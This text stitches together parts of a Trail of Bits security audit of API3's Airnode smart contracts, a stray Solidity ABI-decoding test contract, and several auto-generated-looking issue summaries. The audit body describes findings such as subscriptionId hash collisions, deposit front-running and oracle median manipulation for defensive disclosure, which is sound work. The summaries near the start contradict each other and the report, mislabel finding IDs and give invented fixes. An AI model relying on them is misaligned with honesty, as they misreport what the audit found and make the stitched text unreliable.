Honest response where the Honest responses are a majority. Therefore, we consider this issue to be a false positive and will not address it. T r a i l o f B i t s 43 API3 Security Assessment P U B L I C TOB-API-7: Project dependencies contain vulnerabilities Fixed. The API3 team responded to this finding as follows: “Project dependencies were frozen for the audit, which is why they were outdated by the time they were audited. The dependencies are being tracked in the CI loop and the main branch is kept up to date.” TOB-API-8: DapiServer beacon data is accessible to all users Fixed. The API3 team responded to this finding as follows: It is suggested that a contract can verify if an arbitrary Beacon value is above or below a specific value. This is done by checking the update condition of an uninitialized dAPI whose majority is composed of the respective Beacon. The problem in this scenario is that it is not possible for the reading contract to check if the dAPI is uninitialized, meaning that the 1 bit that will be inferred is not guaranteed to be correct. Furthermore, it can be assumed that attackers will consistently frontrun the reading transaction to initialize the dAPI beforehand, causing the reads to be incorrect whenever profitable. In short, whatever information that will be inferred in the proposed way will not be trustless, which makes it useless in the context of smart contracts. Therefore, we consider this issue to be a false positive. We updated the Beacon and dAPI update condition functions so that they always return `true` if the respective data point timestamp is zero and the update will set it to a non-zero value ( PR 954 ). In the previous implementation, if the data point is uninitialized and the fulfillment data is near-zero, the condition would have returned `false` and no update would have been made. This is not desirable, because the readers will reject the uninitialized value due to its zero timestamp (even though the zero value is accurate). With the update, the Beacon/dAPI will be updated with the near-zero value to signal to the readers that this is an initialized data point with a near-zero value rather than an uninitialized data point. As a side effect, the update above makes this issue obsolete, as conditionPspDapiUpdate will always return `true` for an uninitialized dAPI if at least one of its Beacons are initialized. TOB-API-9: Misleading function name Fixed. The conditionPspDapiUpdate function can no longer be called to make state changes; it now requires msg.sender to be set to address(0) and can be called only off-chain. T r a i l o f B i t s 44 API3 Security Assessment P U B L I C
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unvalidated input in API3 (CWE-20) 2.b Fix (one line with code reference) - Validate input before processing (CWE-20) Moderate 3.a Problem (one line with code reference) - Unvalidated input in API3 (CWE-20) 3.b Fix (one line with code reference) - Validate input before processing (CWE-20) Major - None Critical - None Observations - Trail of Bits provided technical security assessment and advisory services to some of the world’s most targeted organizations. - Trail of Bits specializes in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. - Trail of Bits also operates a center of excellence with regard to blockchain security. Conclusion - Trail of Bits provided technical security assessment and advisory services to some of the world Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 3 - Major: 0 - Critical: 1 Minor Issues 2.a Problem: Publish-subscribe protocol users are vulnerable to a denial of service (15) 2.b Fix: Implement rate limiting (15) 3.a Problem: Solidity compiler optimizations can be problematic (17) 3.b Fix: Use the latest version of the Solidity compiler (17) 4.a Problem: Decisions to opt out of a monetization scheme are irreversible (18) 4.b Fix: Implement a mechanism to allow users to opt out of the monetization scheme (18) 5.a Problem: Depositors can front-run request-blocking transactions (20) 5.b Fix: Implement a mechanism to prevent front-running (20) Moderate Issues 6.a Problem: Incompatibility with non-standard ERC20 tokens (21) 6.b Fix: Implement a mechanism to detect and reject non-standard ERC20 tokens (21) 7.a Problem: Project dependencies contain vulnerabilities (23) 7.b Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 2 - Major: 2 - Critical: 1 Minor Issues 2.a Problem (one line with code reference): Risk of subscriptionId collisions (TOB-API-1) 2.b Fix (one line with code reference): Use abi.encodePacked with only one dynamic type Moderate Issues 3.a Problem (one line with code reference): Whitelisting without payment (TOB-API-2) 3.b Fix (one line with code reference): Implement a payment check Major Issues 4.a Problem (one line with code reference): Withdrawal of more funds than deposited (TOB-API-3) 4.b Fix (one line with code reference): Implement a check to ensure withdrawal amount is less than or equal to deposited amount Critical Issues 5.a Problem (one line with code reference): Modifying Airnode response (TOB-API-4) 5.b Fix (one line with code reference): Implement a check to ensure response is not modified Observations - The engagement was scoped to provide
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.9; contract TestDecoder { function decodeSignedInt256(bytes calldata data) public pure returns (int256 decodedData) { decodedData = abi.decode(data, (int256)); } function decodeUnsignedInt256(bytes calldata data) public pure returns (uint256 decodedData) { decodedData = abi.decode(data, (uint256)); } function decodeBool(bytes calldata data) public pure returns (bool decodedData) { decodedData = abi.decode(data, (bool)); } function decodeBytes32(bytes calldata data) public pure returns (bytes32 decodedData) { decodedData = abi.decode(data, (bytes32)); } function decodeAddress(bytes calldata data) public pure returns (address decodedData) { decodedData = abi.decode(data, (address)); } function decodeBytes(bytes calldata data) public pure returns (bytes memory decodedData) { decodedData = abi.decode(data, (bytes)); } function decodeString(bytes calldata data) public pure returns (string memory decodedData) { decodedData = abi.decode(data, (string)); } function decode1DArray(bytes calldata data) public pure returns (int256[] memory decodedData) { decodedData = abi.decode(data, (int256[])); } function decode1DFixedArray(bytes calldata data) public pure returns (int256[2] memory decodedData) { decodedData = abi.decode(data, (int256[2])); } function decodeNestedArray(bytes calldata data) public pure returns (int256[2][][3] memory decodedData) { decodedData = abi.decode(data, (int256[2][][3])); } function decodeString32(bytes calldata data) public pure returns (bytes32 decodedData) { decodedData = abi.decode(data, (bytes32)); } function decodeMultipleParameters(bytes calldata data) public pure returns (string memory str, uint256 num, address addr) { (str, num, addr) = abi.decode(data, (string, uint256, address)); } function decodeTimestamp(bytes calldata data) public pure returns (uint256 timestamp) { timestamp = abi.decode(data, (uint256)); } }
A P I 3 S e c u r i t y A s s e s s me n t March 30, 2022 Prepared for: Burak Benligiray API3 Prepared by: Simone Monica, Felipe Manzano, and Fredrik Dahlgren A b o u t T r a i l o f B i t s Founded in 2012 and headquartered in New York, Trail of Bits provides technical security assessment and advisory services to some of the world’s most targeted organizations. We combine high- end security research with a real -world attacker mentality to reduce risk and fortify code. With 80+ employees around the globe, we’ve helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel. We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , with links to papers, presentations, public audit reports, and podcast appearances. In recent years, Trail of Bits consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. Trail of Bits also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash. To keep up to date with our latest news and announcements, please follow @trailofbits on Twitter and explore our public repositories at https://github.com/trailofbits . To engage us directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at info@trailofbits.com . Trail of Bits, Inc. 228 Park Ave S #80688 New York, NY 10003 https://www.trailofbits.com info@trailofbits.com T r a i l o f B i t s 1 API3 Security Assessment P U B L I C N o t i c e s a n d R e m a r k s C o p y r i g h t a n d D i s t r i b u t i o n © 2022 by Trail of Bits, Inc. All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this report in the United Kingdom. This report is considered by Trail of Bits to be public information; it is licensed to API3 under the terms of the project statement of work and has been made public at API3’s request. Material within this report may not be reproduced or distributed in part or in whole without the express written permission of Trail of Bits. T e s t C o v e r a g e D i s c l a i m e r All activities undertaken by Trail of Bits in association with this project were performed in accordance with a statement of work and mutually agreed upon project plan. Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase. Trail of Bits uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project. T r a i l o f B i t s 2 API3 Security Assessment P U B L I C T a b l e o f C o n t e n t s About Trail of Bits 1 Notices and Remarks 2 Table of Contents 3 Executive Summary 5 Project Summary 7 Project Goals 8 Project Targets 9 Project Coverage 10 Codebase Maturity Evaluation 12 Summary of Findings 14 Detailed Findings 15 1. Publish-subscribe protocol users are vulnerable to a denial of service 15 2. Solidity compiler optimizations can be problematic 17 3. Decisions to opt out of a monetization scheme are irreversible 18 4. Depositors can front-run request-blocking transactions 20 5. Incompatibility with non-standard ERC20 tokens 21 6. Compromise of a single oracle enables limited control of the dAPI value 22 7. Project dependencies contain vulnerabilities 23 8. DapiServer beacon data is accessible to all users 24 9. Misleading function name 26 Summary of Recommendations 27 A. Vulnerability Categories 28 T r a i l o f B i t s 3 API3 Security Assessment P U B L I C B. Code Maturity Categories 30 C. Token Integration Checklist 32 D. Code Quality Recommendations 35 E. Proof-of-Concept Exploit 38 F. Fix Log 42 T r a i l o f B i t s 4 API3 Security Assessment P U B L I C E x e c u t i v e S u m m a r y E n g a g e m e n t O v e r v i e w API3 engaged Trail of Bits to review the security of its smart contracts. From February 7 to March 4, 2022, a team of three consultants conducted a security review of the client-provided source code, with eight person-weeks of effort. Details of the project’s timeline, test targets, and coverage are provided in subsequent sections of this report. P r o j e c t S c o p e Our testing efforts were focused on the identification of flaws that could result in a compromise of confidentiality, integrity, or availability of the target system. We conducted this audit with full knowledge of the target system, including access to the source code and documentation. We performed a manual review of the project’s Solidity code, in addition to running system elements. S u m m a r y o f F i n d i n g s The audit uncovered one significant flaw that could impact system confidentiality, integrity, or availability. A summary of the findings and details on the most notable finding are provided below. E X P O S U R E A N A L Y S I S Severity Count High 2 Medium 2 Low 2 Informational 2 Undetermined 1 C A T E G O R Y B R E A K D O W N Category Count Access Controls 1 Data Validation 3 Patching 1 Timing 1 Undefined Behavior 3 T r a i l o f B i t s 5 API3 Security Assessment P U B L I C N o t a b l e F i n d i n g s A significant flaw that impacts system availability is described below. ● R i s k o f subscriptionId c o l l i s i o n s ( T O B - A P I - 1 ) In the publish-subscribe protocol, subscriptionId values represent the positions of certain data structures in a mapping. Each subscriptionId is computed as a hash of a data structure’s field values. Because the system uses abi.encodePacked with more than one dynamic type, it is possible to craft a subscriptionId collision by providing invalid field values, causing the requester using the subscriptionId to experience a denial of service (DoS). T r a i l o f B i t s 6 API3 Security Assessment P U B L I C P r o j e c t S u m m a r y C o n t a c t I n f o r m a t i o n The following managers were associated with this project: Dan Guido , Account Manager Sam Greenup , Project Manager dan@trailofbits.com sam.greenup@trailofbits.com The following engineers were associated with this project: Simone Monica , Consultant Felipe Manzano , Consultant simone.monica@trailofbits.com felipe@trailofbits.com Fredrik Dahlgren , Consultant fredrik.dahlgren@trailofbits.com P r o j e c t T i m e l i n e The significant events and milestones of the project are listed below. Date Event February 3, 2022 Pre-project kickoff call February 14, 2022 Status update meeting #1 February 24, 2022 Status update meeting #2 March 2, 2022 Status update meeting #3 March 7, 2022 Delivery of report draft and report readout meeting March 25, 2022 Addition of Fix Log ( appendix F ) T r a i l o f B i t s 7 API3 Security Assessment P U B L I C P r o j e c t G o a l s The engagement was scoped to provide a security assessment of the API3 protocol. Specifically, we sought to answer the following non-exhaustive list of questions: ● Are there appropriate access controls in place for user and admin operations? ● Could an attacker trap the system? ● Are there any DoS attack vectors? ● Do all functions have appropriate input validation? ● Could a requester be whitelisted without making the necessary payment? ● Could a sponsor withdraw more funds than the sponsor deposited? ● Could a depositor front-run a request-blocking transaction? ● Is it possible to modify an Airnode’s response? T r a i l o f B i t s 8 API3 Security Assessment P U B L I C P r o j e c t T a r g e t s The engagement involved a review and testing of the target listed below. a i r n o d e - p r o t o c o l - v 1 Repository https://github.com/api3dao/airnode/tree/v1-protocol Version 991af4d69e82c1954a5c6c8e247cde8eb76101de Type Solidity Platform Ethereum T r a i l o f B i t s 9 API3 Security Assessment P U B L I C P r o j e c t C o v e r a g e This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches and their results include the following: ● protocol/ . The AirnodeProtocol contract, a singleton contract, manages access to off-chain resources called Airnodes. To provide requesters access to Airnodes, sponsors fund Airnode-controlled sponsor wallets. The AirnodeProtocol contract can also store subscriptions and premade request templates and refund departing sponsors. We performed static analysis and a manual review to test the contract’s behavior, input validation, access controls, management of subscription and sponsorship statuses, template storage, and sponsor withdrawal options. ● access-control-registry/ . This single contract allows users to manage independent tree-shaped access control tables and is referred to by other protocol contracts. It is built on top of OpenZeppelin’s AccessControl contract. We used static analysis and a manual review to test the soundness of its complex role-derivation mechanism. ● monetization/ . The monetization contracts enable requesters to be whitelisted indefinitely, by depositing a certain amount of API3 tokens, or temporarily, by providing a stablecoin payment. We manually reviewed the contracts, checking that critical operations can be performed by only certain roles, that funds cannot become stuck or be withdrawn by the wrong account, and that the basic whitelisting functionality behaves as expected. ● authorizers/ and whitelist/ . The authorizers and whitelist contracts hold a registry of authorized requesters. They allow permissioned users and users who have made a payment on a requester’s behalf to temporarily or indefinitely whitelist a requester. ● allocators/ . The allocators contracts indicate which subscriptions an Airnode needs to serve in the publish-subscribe protocol. Airnodes and relayers act on the data managed by these contracts. We performed static analysis and a manual review to test the contracts’ behavior, input validation, and access controls. ● dapis/ . The DapiServer contract implements the publish-subscribe protocol, in which Airnodes provide values for a data feed, and the median of those values represents a dAPI (a decentralized API). We focused on checking whether a user could read reported data on-chain without having been whitelisted. T r a i l o f B i t s 10 API3 Security Assessment P U B L I C C o v e r a g e L i m i t a t i o n s Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. During this project, we were unable to perform comprehensive testing of the off-chain Airnode component. The architecture is heavily reliant on this component, which must check whether a requester has been whitelisted before replying to a request. We assumed the behavior of this component to be correct, but it may warrant further review. T r a i l o f B i t s 11 API3 Security Assessment P U B L I C C o d e b a s e M a t u r i t y E v a l u a t i o n Trail of Bits uses a traffic - light protocol to provide each client with a clear understanding of the areas in which its codebase is mature , immature, or underdeveloped. Deficiencies identified here often stem from root caus es within the software development life cycle that should be addressed through standardization measures ( e.g., the use of common libraries, functions, or frameworks) or training and awareness programs. Category Summary Result Arithmetic The system uses Solidity 0.8 with native overflow / underflow support throughout. However, the need to manually update the price of a token could be problematic and should be better documented. Satisfactory Auditing The API3 codebase emits events sufficient for monitoring on-chain activity. However, the documentation lacks information on the use of off-chain components in behavior monitoring as well as a formal incident response plan. Moderate Authentication / Access Controls The system correctly applies access controls to most of the functions. However, the conditionPspDapiUpdate function ( TOB-API-8 ) lacks strict access controls, and there is no documentation clearly defining the abilities and limitations of the roles in the system. Satisfactory Complexity Management The system uses a significant amount of inheritance, which makes parts of the codebase difficult to understand. Most of the functions in the codebase are small and have clear, narrow purposes, but some have incorrect NatSpec comments that misrepresent their implementation. Moderate Decentralization The API3 smart contracts are not upgradeable. However, the system includes privileged actors and would benefit from more detailed documentation on their abilities and the ways they are controlled (e.g., by an externally owned account, through a multi-signature wallet, by a decentralized autonomous organization, etc.). Moderate T r a i l o f B i t s 12 API3 Security Assessment P U B L I C Documentation The API3 whitepaper provides a high-level explanation of the product; however, the documentation is out of date, and some comments are inconsistent with the implementation. Moderate Front-Running Resistance The system is vulnerable to front-running; specifically, depositors can front-run request-blocking transactions ( TOB-API-4 ). We recommend increasing the on-chain protections against front-running. Moderate Low-Level Manipulation The use of low-level calls is limited. Some low-level calls are necessary, but their consequences could be better documented in code comments. Satisfactory Testing and Verification The unit test line coverage is high. However, the test suite does not cover enough cases ( TOB-API-3 ). Moderate T r a i l o f B i t s 13 API3 Security Assessment P U B L I C S u m m a r y o f F i n d i n g s The table below summarizes the findings of the review, including type and severity details. ID Title Type Severity 1 Publish-subscribe protocol users are vulnerable to a denial of service Data Validation High 2 Solidity compiler optimizations can be problematic Undefined Behavior Informational 3 Decisions to opt out of a monetization scheme are irreversible Undefined Behavior Medium 4 Depositors can front-run request-blocking transactions Timing Medium 5 Incompatibility with non-standard ERC20 tokens Data Validation Low 6 Compromise of a single oracle enables limited control of the dAPI value Data Validation High 7 Project dependencies contain vulnerabilities Patching Undetermined 8 DapiServer beacon data is accessible to all users Access Controls Low 9 Misleading function name Undefined Behavior Informational T r a i l o f B i t s 14 API3 Security Assessment P U B L I C D e t a i l e d F i n d i n g s 1 . P u b l i s h - s u b s c r i b e p r o t o c o l u s e r s a r e v u l n e r a b l e t o a d e n i a l o f s e r v i c e Severity: High Difficulty: Low Type: Data Validation Finding ID: TOB-API-1 Target: airnode-protocol-v1/contracts/protocol/StorageUtils.sol D e s c r i p t i o n The API3 system implements a publish-subscribe protocol through which a requester can receive a callback from an API when specified conditions are met. These conditions can be hard-coded when the Airnode is configured or stored on-chain. When they are stored on-chain, the user can call storeSubscription to establish other conditions for the callback (by specifying parameters and conditions arguments of type bytes ). The arguments are then used in abi.encodePacked , which could result in a subscriptionId collision. function storeSubscription( [...] bytes calldata parameters, bytes calldata conditions, [...] ) external override returns ( bytes32 subscriptionId) { [...] subscriptionId = keccak256 ( abi .encodePacked( chainId, airnode, templateId, parameters , conditions , relayer, sponsor, requester, fulfillFunctionId ) ); subscriptions[subscriptionId] = Subscription({ chainId: chainId, airnode: airnode, T r a i l o f B i t s 15 API3 Security Assessment P U B L I C templateId: templateId, parameters: parameters, conditions: conditions, relayer: relayer, sponsor: sponsor, requester: requester, fulfillFunctionId: fulfillFunctionId }); Figure 1.1: StorageUtils.sol#L135-L158 The Solidity documentation includes the following warning: If you use keccak256(abi.encodePacked(a, b)) and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of a into b and vice-versa. More specifically, abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c"). If you use abi.encodePacked for signatures, authentication or data integrity, make sure to always use the same types and check that at most one of them is dynamic. Unless there is a compelling reason, abi.encode should be preferred. Figure 1.2: The Solidity documentation details the risk of a collision caused by the use of abi.encodePacked with more than one dynamic type. E x p l o i t S c e n a r i o Alice calls storeSubscription to set the conditions for a callback from a specific API to her smart contract. Eve, the owner of a competitor protocol, calls storeSubscription with the same arguments as Alice but moves the last byte of the parameters argument to the beginning of the conditions argument. As a result, the Airnode will no longer report API results to Alice’s smart contract. R e c o m m e n d a t i o n s Short term, use abi.encode instead of abi.encodePacked . Long term, carefully review the Solidity documentation , particularly the “Warning” sections regarding the pitfalls of abi.encodePacked . T r a i l o f B i t s 16 API3 Security Assessment P U B L I C 2 . S o l i d i t y c o m p i l e r o p t i m i z a t i o n s c a n b e p r o b l e m a t i c Severity: Informational Difficulty: Low Type: Undefined Behavior Finding ID: TOB-API-2 Target: airnode-protocol-v1/hardhat.config.ts D e s c r i p t i o n The API3 contracts have enabled optional compiler optimizations in Solidity. There have been several optimization bugs with security implications. Moreover, optimizations are actively being developed . Solidity compiler optimizations are disabled by default, and it is unclear how many contracts in the wild actually use them. Therefore, it is unclear how well they are being tested and exercised. High-severity security issues due to optimization bugs have occurred in the past . A high-severity bug in the emscripten -generated solc-js compiler used by Truffle and Remix persisted until late 2018. The fix for this bug was not reported in the Solidity CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results was patched in Solidity 0.5.6 . More recently, another bug due to the incorrect caching of keccak256 was reported. A compiler audit of Solidity from November 2018 concluded that the optional optimizations may not be safe . It is likely that there are latent bugs related to optimization and that new bugs will be introduced due to future optimizations. E x p l o i t S c e n a r i o A latent or future bug in Solidity compiler optimizations—or in the Emscripten transpilation to solc-js —causes a security vulnerability in the API3 contracts. R e c o m m e n d a t i o n s Short term, measure the gas savings from optimizations and carefully weigh them against the possibility of an optimization-related bug. Long term, monitor the development and adoption of Solidity compiler optimizations to assess their maturity. T r a i l o f B i t s 17 API3 Security Assessment P U B L I C 3 . D e c i s i o n s t o o p t o u t o f a m o n e t i z a t i o n s c h e m e a r e i r r e v e r s i b l e Severity: Medium Difficulty: Low Type: Undefined Behavior Finding ID: TOB-API-3 Target: airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitel isterWithToken.sol D e s c r i p t i o n The API3 protocol implements two on-chain monetization schemes. If an Airnode owner decides to opt out of a scheme, the Airnode will not receive additional token payments or deposits (depending on the scheme). Although the documentation states that Airnodes can opt back in to a scheme, the current implementation does not allow it. /// @notice If the Airnode is participating in the scheme implemented by /// the contract: /// Inactive: The Airnode is not participating, but can be made to /// participate by a mantainer /// Active: The Airnode is participating /// OptedOut: The Airnode actively opted out, and cannot be made to /// participate unless this is reverted by the Airnode mapping(address => AirnodeParticipationStatus) public override airnodeToParticipationStatus; Figure 3.1: RequesterAuthorizerWhitelisterWithToken.sol#L59-L68 /// @notice Sets Airnode participation status /// @param airnode Airnode address /// @param airnodeParticipationStatus Airnode participation status function setAirnodeParticipationStatus( address airnode, AirnodeParticipationStatus airnodeParticipationStatus ) external override onlyNonZeroAirnode(airnode) { if (msg.sender == airnode) { require( airnodeParticipationStatus == AirnodeParticipationStatus.OptedOut, "Airnode can only opt out" ); } else { T r a i l o f B i t s 18 API3 Security Assessment P U B L I C [...] Figure 3.2: RequesterAuthorizerWhitelisterWithToken.sol#L229-L242 E x p l o i t S c e n a r i o Bob, an Airnode owner, decides to temporarily opt out of a scheme, believing that he will be able to opt back in; however, he later learns that that is not possible and that his Airnode will be unable to accept any new requesters. R e c o m m e n d a t i o n s Short term, adjust the setAirnodeParticipationStatus function to allow Airnodes that have opted out of a scheme to opt back in. Long term, write extensive unit tests that cover all of the expected pre- and postconditions. Unit tests could have uncovered this issue. T r a i l o f B i t s 19 API3 Security Assessment P U B L I C 4 . D e p o s i t o r s c a n f r o n t - r u n r e q u e s t - b l o c k i n g t r a n s a c t i o n s Severity: Medium Difficulty: High Type: Timing Finding ID: TOB-API-4 Target: airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitel isterWithToken.sol , RequesterAuthorizerWhitelisterWithTokenDeposit.sol D e s c r i p t i o n A depositor can front-run a request-blocking transaction and withdraw his or her deposit. The RequesterAuthorizerWhitelisterWithTokenDeposit contract enables a user to indefinitely whitelist a requester by depositing tokens on behalf of the requester. A manager or an address with the blocker role can call setRequesterBlockStatus or setRequesterBlockStatusForAirnode with the address of a requester to block that user from submitting requests; as a result, any user who deposited tokens to whitelist the requester will be blocked from withdrawing the deposit. However, because one can execute a withdrawal immediately, a depositor could monitor the transactions and call withdrawTokens to front-run a blocking transaction. E x p l o i t S c e n a r i o Eve deposits tokens to whitelist a requester. Because the requester then uses the system maliciously, the manager blacklists the requester, believing that the deposited tokens will be seized. However, Eve front-runs the transaction and withdraws the tokens. R e c o m m e n d a t i o n s Short term, implement a two-step withdrawal process in which a depositor has to express his or her intention to withdraw a deposit and the funds are then unlocked after a waiting period. Long term, analyze all possible front-running risks in the system. T r a i l o f B i t s 20 API3 Security Assessment P U B L I C 5 . I n c o m p a t i b i l i t y w i t h n o n - s t a n d a r d E R C 2 0 t o k e n s Severity: Low Difficulty: Medium Type: Data Validation Finding ID: TOB-API-5 Target: airnode-protocol-v1/contracts/monetization/RequesterAuthorizerWhitel isterWithTokenDeposit.sol , RequesterAuthorizerWhitelisterWithTokenPayment.sol D e s c r i p t i o n The RequesterAuthorizerWhitelisterWithTokenPayment and RequesterAuthorizerWhitelisterWithTokenDeposit contracts are meant to work with any ERC20 token. However, several high-profile ERC20 tokens do not correctly implement the ERC20 standard. These include USDT, BNB, and OMG, all of which have a large market cap. The ERC20 standard defines two transfer functions, among others: ● transfer(address _to, uint256 _value) public returns (bool success) ● transferFrom(address _from, address _to, uint256 _value) public returns (bool success) These high-profile ERC20 tokens do not return a boolean when at least one of the two functions is executed. As of Solidity 0.4.22, the size of return data from external calls is checked. As a result, any call to the transfer or transferFrom function of an ERC20 token with an incorrect return value will fail. E x p l o i t S c e n a r i o Bob deploys the RequesterAuthorizerWhitelisterWithTokenPayment contract with USDT as the token. Alice wants to pay for a requester to be whitelisted and calls payTokens , but the transferFrom call fails. As a result, the contract is unusable. R e c o m m e n d a t i o n s Short term, consider using the OpenZeppelin SafeERC20 library or adding explicit support for ERC20 tokens with incorrect return values. Long term, adhere to the token integration best practices outlined in appendix C . T r a i l o f B i t s 21 API3 Security Assessment P U B L I C 6 . C o m p r o m i s e o f a s i n g l e o r a c l e e n a b l e s l i m i t e d c o n t r o l o f t h e d A P I v a l u e Severity: High Difficulty: High Type: Data Validation Finding ID: TOB-API-6 Target: airnode-protocol-v1/contracts/dapis/DapiServer.sol D e s c r i p t i o n By compromising only one oracle, an attacker could gain control of the median price of a dAPI and set it to a value within a certain range. The dAPI value is the median of all values provided by the oracles. If the number of oracles is odd (i.e., the median is the value in the center of the ordered list of values), an attacker could skew the median, setting it to a value between the lowest and highest values submitted by the oracles. E x p l o i t S c e n a r i o There are three available oracles: O 0 , with a price of 603; O 1 , with a price of 598; and O 2 , which has been compromised by Eve. Eve is able to set the median price to any value in the range [598 , 603] . Eve can then turn a profit by adjusting the rate when buying and selling assets. R e c o m m e n d a t i o n s Short term, be mindful of the fact that there is no simple fix for this issue; regardless, we recommend implementing off-chain monitoring of the DapiServer contracts to detect any suspicious activity. Long term, assume that an attacker may be able to compromise some of the oracles. To mitigate a partial compromise, ensure that dAPI value computations are robust. T r a i l o f B i t s 22 API3 Security Assessment P U B L I C 7 . P r o j e c t d e p e n d e n c i e s c o n t a i n v u l n e r a b i l i t i e s Severity: Undetermined Difficulty: Undetermined Type: Patching Finding ID: TOB-API-7 Target: packages/ D e s c r i p t i o n The execution of yarn audit identified dependencies with known vulnerabilities. Due to the sensitivity of the deployment code and its environment, it is important to ensure dependencies are not malicious. Problems with dependencies in the JavaScript community could have a significant effect on the repositories under review. The output below details these issues. CVE ID Description Dependency CVE-2022-0536 Exposure of Sensitive Information to an Unauthorized Actor follow-redirects CVE-2021-23555 Sandbox bypass vm2 Figure 7.1: Advisories affecting the packages/ dependencies E x p l o i t S c e n a r i o Alice installs the dependencies of the in-scope repository on a clean machine. Unbeknownst to Alice, a dependency of the project has become malicious or exploitable. Alice subsequently uses the dependency, disclosing sensitive information to an unknown actor. R e c o m m e n d a t i o n s Short term, ensure dependencies are up to date. Several node modules have been documented as malicious because they execute malicious code when installing dependencies to projects. Keep modules current and verify their integrity after installation. Long term, consider integrating automated dependency auditing into the development workflow. If a dependency cannot be updated when a vulnerability is disclosed, ensure that the codebase does not use and is not affected by the vulnerable functionality of the dependency. T r a i l o f B i t s 23 API3 Security Assessment P U B L I C 8 . D a p i S e r v e r b e a c o n d a t a i s a c c e s s i b l e t o a l l u s e r s Severity: Low Difficulty: High Type: Access Controls Finding ID: TOB-API-8 Target: airnode-protocol-v1/contracts/dapis/DapiServer.sol D e s c r i p t i o n The lack of access controls on the conditionPspDapiUpdate function could allow an attacker to read private data on-chain. The dataPoints[] mapping contains private data that is supposed to be accessible on-chain only by whitelisted users. However, any user can call conditionPspDapiUpdate , which returns a boolean that depends on arithmetic over dataPoint : /// @notice Returns if the respective dAPI needs to be updated based on the /// condition parameters /// @dev This method does not allow the caller to indirectly read a dAPI, /// which is why it does not require the sender to be a void signer with /// zero address. [...] function conditionPspDapiUpdate( bytes32 subscriptionId, // solhint-disable-line no-unused-vars bytes calldata data, bytes calldata conditionParameters ) external override returns (bool) { bytes32 dapiId = keccak256(data); int224 currentDapiValue = dataPoints[dapiId].value; require( dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))), "Data length not correct" ); return calculateUpdateInPercentage( currentDapiValue, dataPoints[dapiId].value ) >= decodeConditionParameters(conditionParameters); } Figure 8.1: dapis/DapiServer.sol:L468-L502 An attacker could abuse this function to deduce one bit of data per call (to determine, for example, whether a user’s account should be liquidated). An attacker could also automate the process of accessing one bit of data to extract a larger amount of information by using T r a i l o f B i t s 24 API3 Security Assessment P U B L I C a mechanism such as a dichotomic search. An attacker could therefore infer the value of dataPoin t directly on-chain. E x p l o i t S c e n a r i o Eve, who is not whitelisted, wants to read a beacon value to determine whether a certain user’s account should be liquidated. Using the code provided in appendix E , she is able to confirm that the beacon value is greater than or equal to a certain threshold. R e c o m m e n d a t i o n s Short term, implement access controls to limit who can call conditionPspDapiUpdate . Long term, document all read and write operations related to dataPoint , and highlight their access controls. Additionally, consider implementing an off-chain monitoring system to detect any suspicious activity. T r a i l o f B i t s 25 API3 Security Assessment P U B L I C 9 . M i s l e a d i n g f u n c t i o n n a m e Severity: Informational Difficulty: Low Type: Undefined Behavior Finding ID: TOB-API-9 Target: airnode-protocol-v1/contracts/dapis/DapiServer.sol D e s c r i p t i o n The conditionPspDapiUpdate function always updates the dataPoints storage variable (by calling updateDapiWithBeacons ), even if the function returns false (i.e., the condition for updating the variable is not met). This contradicts the code comment and the behavior implied by the function’s name. /// @notice Returns if the respective dAPI needs to be updated based on the /// condition parameters [...] function conditionPspDapiUpdate( bytes32 subscriptionId, // solhint-disable-line no-unused-vars bytes calldata data, bytes calldata conditionParameters ) external override returns (bool) { bytes32 dapiId = keccak256(data); int224 currentDapiValue = dataPoints[dapiId].value; require( dapiId == updateDapiWithBeacons(abi.decode(data, (bytes32[]))), "Data length not correct" ); return calculateUpdateInPercentage( currentDapiValue, dataPoints[dapiId].value ) >= decodeConditionParameters(conditionParameters); } Figure 9.1: dapis/DapiServer.sol#L468-L502 R e c o m m e n d a t i o n s Short term, revise the documentation to inform users that a call to conditionPspDapiUpdate will update the dAPI even if the function returns false . Alternatively, develop a function similar to updateDapiWithBeacons that returns the updated value without actually updating it. Long term, ensure that functions’ names reflect the implementation. T r a i l o f B i t s 26 API3 Security Assessment P U B L I C S u m m a r y o f R e c o m m e n d a t i o n s The API3 smart contracts represent a new iteration of the protocol. Trail of Bits recommends that API3 address the findings detailed in this report and take the following additional step prior to deployment: ● Write updated documentation on the expected behavior of all functions in the system. T r a i l o f B i t s 27 API3 Security Assessment P U B L I C A . V u l n e r a b i l i t y C a t e g o r i e s The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document. Vulnerability Categories Category Description Access Controls Insufficient authorization or assessment of rights Auditing and Logging Insufficient auditing of actions or logging of problems Authentication Improper identification of users Configuration Misconfigured servers, devices, or software components 